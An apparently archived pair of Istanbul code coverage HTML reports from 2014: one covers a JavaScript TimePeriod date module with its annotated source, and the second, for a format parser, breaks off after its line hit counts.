            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header low">
    <h1>Code coverage report for <span class="entity">core/time_period.js</span></h1>
    <h2>
        
        Statements: <span class="metric">33.33% <small>(21 / 63)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">2.7% <small>(1 / 37)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">36.36% <small>(4 / 11)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">33.33% <small>(21 / 63)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; time_period.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	"use strict";
	var attrs = ["years", "months", "days", "hours", "minutes", "seconds", "milliseconds"];
	var gFn = function (attr) {
		return <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" >			return this[attr];</span>
		};
	};
	
	var sFn = function (attr) {
		return <span class="fstat-no" title="function not covered" >function (val) {</span>
<span class="cstat-no" title="statement not covered" >			this[attr] = val;</span>
<span class="cstat-no" title="statement not covered" >			return this;</span>
		};
	};
	var addSetFuncs = function (context, attrs) {
		for (var i = 0; i &lt; attrs.length ; i++) {
			var $a = attrs[i], $b = $a.slice(0, 1).toUpperCase() + $a.slice(1);
			context.prototype[$a] = 0;
			context.prototype["get" + $b] = gFn($a);
			context.prototype["set" + $b] = sFn($a);
		}
	};
&nbsp;
	var setMonthsAndYears = <span class="fstat-no" title="function not covered" >function (orient, d1, d2, context) {</span>
<span class="fstat-no" title="function not covered" >		function inc() {</span>
<span class="cstat-no" title="statement not covered" >			d1.addMonths(-orient);</span>
<span class="cstat-no" title="statement not covered" >			context.months++;</span>
<span class="cstat-no" title="statement not covered" >			if (context.months === 12) {</span>
<span class="cstat-no" title="statement not covered" >				context.years++;</span>
<span class="cstat-no" title="statement not covered" >				context.months = 0;</span>
			}
		}
<span class="cstat-no" title="statement not covered" >		if (orient === +1) {</span>
<span class="cstat-no" title="statement not covered" >			while (d1 &gt; d2) {</span>
<span class="cstat-no" title="statement not covered" >				inc();</span>
			}
		} else {
<span class="cstat-no" title="statement not covered" >			while (d1 &lt; d2) {</span>
<span class="cstat-no" title="statement not covered" >				inc();</span>
			}
		}
<span class="cstat-no" title="statement not covered" >		context.months--;</span>
<span class="cstat-no" title="statement not covered" >		context.months *= orient;</span>
<span class="cstat-no" title="statement not covered" >		context.years *= orient;</span>
	};
&nbsp;
	var adjustForDST = <span class="fstat-no" title="function not covered" >function(orient, startDate, endDate) {</span>
<span class="cstat-no" title="statement not covered" >		var hasDSTMismatch = (false === (startDate.isDaylightSavingTime() === endDate.isDaylightSavingTime()));</span>
<span class="cstat-no" title="statement not covered" >		if (hasDSTMismatch &amp;&amp; orient === 1) {</span>
<span class="cstat-no" title="statement not covered" >			startDate.addHours(-1);</span>
		} else <span class="cstat-no" title="statement not covered" >if (hasDSTMismatch) {</span>
<span class="cstat-no" title="statement not covered" >			startDate.addHours(1);</span>
		}
	};
	/**
	 * TimePeriod(startDate, endDate);
	 * TimePeriod(years, months, days, hours, minutes, seconds, milliseconds);
	 */
	var TimePeriod = <span class="fstat-no" title="function not covered" >function (years, months, days, hours, minutes, seconds, milliseconds) {</span>
<span class="cstat-no" title="statement not covered" >		if (arguments.length === 7) {</span>
<span class="cstat-no" title="statement not covered" >			this.set(years, months, days, hours, minutes, seconds, milliseconds);</span>
		} else <span class="cstat-no" title="statement not covered" >if (arguments.length === 2 &amp;&amp; arguments[0] instanceof Date &amp;&amp; arguments[1] instanceof Date) {</span>
<span class="cstat-no" title="statement not covered" >			var startDate = arguments[0].clone();</span>
<span class="cstat-no" title="statement not covered" >			var endDate = arguments[1].clone();</span>
<span class="cstat-no" title="statement not covered" >			var orient = (startDate &gt; endDate) ? +1 : -1;</span>
<span class="cstat-no" title="statement not covered" >			this.dates = {</span>
				start: arguments[0].clone(),
				end: arguments[1].clone()
			};
&nbsp;
<span class="cstat-no" title="statement not covered" >			setMonthsAndYears(orient, startDate, endDate, this);</span>
<span class="cstat-no" title="statement not covered" >			adjustForDST(orient, startDate, endDate);</span>
			// // TODO - adjust for DST
<span class="cstat-no" title="statement not covered" >			var diff = endDate - startDate;</span>
<span class="cstat-no" title="statement not covered" >			if (diff !== 0) {</span>
<span class="cstat-no" title="statement not covered" >				var ts = new TimeSpan(diff);</span>
<span class="cstat-no" title="statement not covered" >				this.set(this.years, this.months, ts.getDays(), ts.getHours(), ts.getMinutes(), ts.getSeconds(), ts.getMilliseconds());</span>
			}
		}
<span class="cstat-no" title="statement not covered" >		return this;</span>
	};
	// create all the set functions.
	addSetFuncs(TimePeriod, attrs);
	TimePeriod.prototype.set = <span class="fstat-no" title="function not covered" >function (years, months, days, hours, minutes, seconds, milliseconds){</span>
<span class="cstat-no" title="statement not covered" >		this.setYears(years || this.getYears());</span>
<span class="cstat-no" title="statement not covered" >		this.setMonths(months || this.getMonths());</span>
<span class="cstat-no" title="statement not covered" >		this.setDays(days || this.getDays());</span>
<span class="cstat-no" title="statement not covered" >		this.setHours(hours || this.getHours());</span>
<span class="cstat-no" title="statement not covered" >		this.setMinutes(minutes || this.getMinutes());</span>
<span class="cstat-no" title="statement not covered" >		this.setSeconds(seconds || this.getSeconds());</span>
<span class="cstat-no" title="statement not covered" >		this.setMilliseconds(milliseconds || this.getMilliseconds());</span>
	};
&nbsp;
	Date.TimePeriod = TimePeriod;
&nbsp;
	<span class="missing-if-branch" title="else path not taken" >E</span>if (typeof window !== "undefined") {
		// keeping API compatible for v1.x 
		window.TimePeriod = TimePeriod;
	}
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
format_parser.js.html000066600000125553152444006550010735 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/format_parser.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header high">
    <h1>Code coverage report for <span class="entity">core/format_parser.js</span></h1>
    <h2>
        
        Statements: <span class="metric">96.95% <small>(159 / 164)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">86.13% <small>(118 / 137)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">94.29% <small>(33 / 35)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">96.95% <small>(159 / 164)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; format_parser.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">39302</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">13780</span>
<span class="cline-any cline-yes">13780</span>
<span class="cline-any cline-yes">13780</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">13780</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">13780</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-yes">403</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">372</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">21</span>
<span class="cline-any cline-yes">21</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">16</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">21</span>
<span class="cline-any cline-yes">21</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">53</span>
<span class="cline-any cline-yes">53</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">400</span>
<span class="cline-any cline-yes">240</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">560</span>
<span class="cline-any cline-yes">400</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-yes">1200</span>
<span class="cline-any cline-yes">1200</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">48</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">52</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">40</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">29</span>
<span class="cline-any cline-neutral">&nbsp;</span>
